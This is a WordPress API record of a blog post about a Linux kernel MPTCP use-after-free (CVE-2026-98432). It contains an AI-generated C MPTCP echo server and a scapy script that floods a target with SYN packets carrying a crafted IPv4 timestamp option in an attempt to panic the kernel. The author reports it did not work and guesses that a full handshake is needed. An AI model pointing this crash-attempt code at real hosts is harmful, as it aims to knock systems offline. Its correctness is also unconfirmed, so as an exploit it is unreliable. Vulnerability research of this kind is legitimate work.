{"id":83,"date":"2026-11-03T03:32:50","date_gmt":"2026-11-02T16:32:50","guid":{"rendered":"https:\/\/davidshoon.com\/?p=83"},"modified":"2026-11-03T03:52:05","modified_gmt":"2026-11-02T16:52:05","slug":"cve-2026-98432-linux-mptcp-ipv4-option-use-after-free","status":"publish","type":"post","link":"https:\/\/davidshoon.com\/?p=83","title":{"rendered":"CVE-2026-98432 &#8211; Linux MPTCP IPv4 option use-after-free"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">So anyway, I wanted to see if I could trigger the race condition and get the kernel to panic&#8230; but I couldn&#8217;t, at least not under UTM (maybe it&#8217;s too slow when used under a hypervisor).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The first thing you need is a TCP server with multi-path enabled (IPPROTO_MPTCP). Here&#8217;s some vibe-coded code:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\n#define _POSIX_C_SOURCE 200809L\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;arpa\/inet.h&gt;\n#include &lt;sys\/socket.h&gt;\n\n#ifndef IPPROTO_MPTCP\n#define IPPROTO_MPTCP 262\n#endif\n\n#define PORT 5000\n#define BUFFER_SIZE 4096\n\nint main(void)\n{\n    int server_fd, client_fd;\n    struct sockaddr_in addr;\n    char buffer&#91;BUFFER_SIZE];\n\n    server_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_MPTCP);\n    if (server_fd &lt; 0) {\n        perror(\"MPTCP socket\");\n        return EXIT_FAILURE;\n    }\n\n    int opt = 1;\n    if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR,\n                   &amp;opt, sizeof(opt)) &lt; 0) {\n        perror(\"setsockopt\");\n        close(server_fd);\n        return EXIT_FAILURE;\n    }\n\n    memset(&amp;addr, 0, sizeof(addr));\n    addr.sin_family = AF_INET;\n    addr.sin_addr.s_addr = htonl(INADDR_ANY);\n    addr.sin_port = htons(PORT);\n\n    if (bind(server_fd, (struct sockaddr *)&amp;addr,\n             sizeof(addr)) &lt; 0) {\n        perror(\"bind\");\n        close(server_fd);\n        return EXIT_FAILURE;\n    }\n\n    if (listen(server_fd, 5) &lt; 0) {\n        perror(\"listen\");\n        close(server_fd);\n        return EXIT_FAILURE;\n    }\n\n    printf(\"MPTCP server listening on port %d\\n\", PORT);\n\n    client_fd = accept(server_fd, NULL, NULL);\n    if (client_fd &lt; 0) {\n        perror(\"accept\");\n        close(server_fd);\n        return EXIT_FAILURE;\n    }\n\n    printf(\"Client connected\\n\");\n\n    ssize_t n;\n    while ((n = recv(client_fd, buffer,\n                     sizeof(buffer), 0)) &gt; 0) {\n        size_t sent = 0;\n\n        while (sent &lt; (size_t)n) {\n            ssize_t ret = send(client_fd, buffer + sent,\n                               (size_t)n - sent, 0);\n            if (ret &lt;= 0) {\n                perror(\"send\");\n                close(client_fd);\n                close(server_fd);\n                return EXIT_FAILURE;\n            }\n            sent += (size_t)ret;\n        }\n    }\n\n    if (n &lt; 0)\n        perror(\"recv\");\n\n    close(client_fd);\n    close(server_fd);\n    return n &lt; 0 ? EXIT_FAILURE : EXIT_SUCCESS;\n}\n\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">After compiling and running that as a server, I then used the following python script with scapy (vibe coded):<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from scapy.all import IP, TCP, IPOption, sr1, RandShort, send\n\n# 1. Define the target IP address and port\ntarget_ip = \"127.0.0.1\" \ntarget_port = 5000  # Common port, change to any port you are testing (e.g., 22, 443)\n\n# 2. Craft the IPv4 Timestamp Option bytes\n# Type = 68 (\\x44), Length = 36 (\\x24), Pointer = 5 (\\x05), Overflow\/Flag = 1 (\\x01)\n# Remaining 32 bytes initialized to zero for routers to fill in\nts_option_bytes = b'\\x44\\x24\\x05\\x01' + b'\\x00' * 32\nts_option = IPOption(ts_option_bytes)\n\n# 3. Construct the packet layers\n# IP Layer gets the IPv4 Timestamp option.\n# TCP Layer gets the SYN flag ('S') and a random source port.\npacket = IP(dst=target_ip, options=&#91;ts_option]) \/ TCP(sport=RandShort(), dport=target_port, flags=\"S\")\n\nprint(f\"&#91;*] Sending TCP SYN packet to {target_ip}:{target_port} with IPv4 Timestamp Option...\")\npacket.show()\n\n# 4. Send the packet and wait for a response\n\nreply = sr1(packet, timeout=2, verbose=False)\n\nif reply:\n    print(\"\\n&#91;+] Received reply!\")\n    reply.show()\n    \n    # Check if the target responded with a SYN-ACK or a RST\n    if reply.haslayer(TCP):\n        if reply&#91;TCP].flags == \"SA\":\n            print(f\"&#91;!] Port {target_port} is OPEN (Received SYN-ACK)\")\n        elif reply&#91;TCP].flags == \"RA\" or reply&#91;TCP].flags == \"R\":\n            print(f\"&#91;!] Port {target_port} is CLOSED (Received RST)\")\nelse:\n    print(\"\\n&#91;-] No reply received. The packet or option was likely dropped by a firewall.\")\n\nwhile True:\n#    send(packet, verbose=False)\n    send(packet)\n\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">This script sends the IPv4 option &#8220;timestamp&#8221;, which is apparently one of the options that supposedly trigger this Linux kernel bug.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I couldn&#8217;t get it to work. The race condition is probably hard to trigger under a hypervisor (the hypervisor was set to 2 cpu cores).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">But anyway, I haven&#8217;t had a look at this in depth, this was just like 15 minutes of playing around. Have a try, and good luck.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Edit: I think the problem was I needed to fully handshake the TCP connection (i.e. establish a connection) instead of just sending SYN packets.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>So anyway, I wanted to see if I could trigger the race condition and get the kernel to panic&#8230; but I couldn&#8217;t, at least not under UTM (maybe it&#8217;s too slow when used under a hypervisor). The first thing you need is a TCP server with multi-path enabled (IPPROTO_MPTCP). Here&#8217;s some vibe-coded code: After compiling [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-83","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/davidshoon.com\/index.php?rest_route=\/wp\/v2\/posts\/83","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/davidshoon.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/davidshoon.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/davidshoon.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/davidshoon.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=83"}],"version-history":[{"count":4,"href":"https:\/\/davidshoon.com\/index.php?rest_route=\/wp\/v2\/posts\/83\/revisions"}],"predecessor-version":[{"id":87,"href":"https:\/\/davidshoon.com\/index.php?rest_route=\/wp\/v2\/posts\/83\/revisions\/87"}],"wp:attachment":[{"href":"https:\/\/davidshoon.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=83"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/davidshoon.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=83"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/davidshoon.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=83"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}